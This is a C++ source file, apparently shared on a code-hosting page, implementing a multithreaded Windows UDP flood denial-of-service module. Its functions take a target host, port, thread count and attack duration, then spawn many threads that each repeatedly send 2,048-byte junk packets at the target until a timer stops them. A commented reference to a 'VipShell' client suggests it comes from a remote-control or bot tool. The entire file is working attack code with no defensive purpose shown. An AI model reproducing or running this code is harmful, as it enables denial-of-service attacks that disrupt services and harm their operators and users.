📄 ddosudpflood.cpp
字号:
#include "DDOSUdpFlood.h"
#include <winsock2.h>
#pragma comment(lib,"WS2_32.LIB")
#include <stdio.h>
BOOL InitWinsock();
char* _GetDnsToAddr(IN const char * str);
//参数,全局变量
WCHAR Mem_TargetHost[1024]={0};
DWORD Mem_TargetPort = 0;
DWORD Mem_ThreadCount = 0;
DWORD Mem_ThreadTimeout = 0;
DWORD Mem_AttackingTime = 0;
bool DDOSUdpFlood = false;
DWORD ThreadCreated = 0;
HANDLE hThreadTimer = NULL;
//参数
bool CreateDDOSUdpFloodThread(LPCTSTR TargetHost, DWORD TargetPort, DWORD ThreadCount, DWORD ThreadTimeout, DWORD AttackingTime)
{
if(DDOSUdpFlood == false)
{
//设定参数
lstrcpy(Mem_TargetHost,TargetHost);
Mem_TargetPort = TargetPort;
Mem_ThreadCount = ThreadCount;
Mem_ThreadTimeout = ThreadTimeout/* * 1000*/;
Mem_AttackingTime = AttackingTime *1000 * 60;
DDOSUdpFlood = true;
ThreadCreated = ThreadCount;
//设定参数
CreateThread(NULL,0,StartDDOSUdpFlood,0,0,0);//创建线程
}
else
if(DDOSUdpFlood == true)
{
//设定参数
lstrcpy(Mem_TargetHost,TargetHost);
Mem_TargetPort = TargetPort;
Mem_ThreadCount = ThreadCount;
Mem_ThreadTimeout = ThreadTimeout/* * 1000*/;
Mem_AttackingTime = AttackingTime *1000 * 60;
DDOSUdpFlood = false;
ThreadCreated = ThreadCount;
//设定参数
CreateThread(NULL,0,ChangeDDOSUdpFlood,0,0,0);
}
return 0;
}
bool TerminateDDOSUdpFloodThread()
{
DDOSUdpFlood = false;
return 0;
}
DWORD WINAPI StartDDOSUdpFlood(LPVOID lpParameter)
{
bool Running = true;
TerminateThread(hThreadTimer,0);
hThreadTimer = CreateThread(NULL,0,ThreadTimer,0,0,0);
while(Running == true)
{
ThreadCreated = ThreadCreated -1 ;
if(ThreadCreated <= 0)
{
Running = false;
}
if(DDOSUdpFlood == false)
{
Running = false;
}
Sleep(200);
CreateThread(NULL,0,ThreadDDOSUdpFlood,0,0,0);//创建线程
}
return 0;
}
DWORD WINAPI ChangeDDOSUdpFlood(LPVOID lpParameter)
{
DDOSUdpFlood = false;
Sleep(5000);
Sleep(Mem_ThreadTimeout);
CreateThread(NULL,0,StartDDOSUdpFlood,0,0,0);//创建线程
return 0;
}
DWORD WINAPI ThreadTimer(LPVOID lpParameter)
{
Sleep(Mem_AttackingTime);
DDOSUdpFlood = false;
return 0;
}
DWORD WINAPI ThreadDDOSUdpFlood(LPVOID lpParameter)
{
//CVipShellCTcpClient hConnectServer;
if(DDOSUdpFlood == true)
{
//hConnectServer.DDOSUdpFloodServer(Mem_TargetHost, Mem_TargetPort, false);
SOCKET socket1;
InitWinsock();
struct sockaddr_in server;
int len =sizeof(server);
server.sin_family=AF_INET;
char* DestIp = _GetDnsToAddr(CW2A( Mem_TargetHost ));
server.sin_port=htons( (u_short) Mem_TargetPort ); ///server的监听端口
server.sin_addr.s_addr= ( (inet_addr(DestIp)) ); ///server的地址
//server.sin_port=htons(80); ///server的监听端口
//server.sin_addr.s_addr=inet_addr("172.24.16.13"); ///server的地址
socket1=socket(AF_INET,SOCK_DGRAM,0);
char buffer[2048]="\0";
strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
sendto(socket1,buffer,sizeof buffer,0,(struct sockaddr*)&server,len);
closesocket(socket1);
Sleep(Mem_ThreadTimeout);
CreateThread(NULL,0,ThreadDDOSUdpFlood,0,0,0);
}
else
if(DDOSUdpFlood == false)
{
//hConnectServer.DDOSUdpFloodServer(Mem_TargetHost, Mem_TargetPort, true);
return 0;
}
return 0;
}
BOOL InitWinsock()
{
int Error;
WORD VersionRequested;
WSADATA WsaData;
VersionRequested=MAKEWORD(2,2);
Error=WSAStartup(VersionRequested,&WsaData); //启动WinSock2
if(Error!=0)
{
return FALSE;
}
else
{
if(LOBYTE(WsaData.wVersion)!=2||HIBYTE(WsaData.wHighVersion)!=2)
{
WSACleanup();
return FALSE;
}
}
return TRUE;
}
char* _GetDnsToAddr(IN const char * str)
{
hostent * pHost;
pHost = (struct hostent *)gethostbyname((const char*)str);
if(!pHost)
return NULL;
hostent& he = *pHost;
sockaddr_in sa;
memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[0],he.h_length);
return inet_ntoa(sa.sin_addr);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -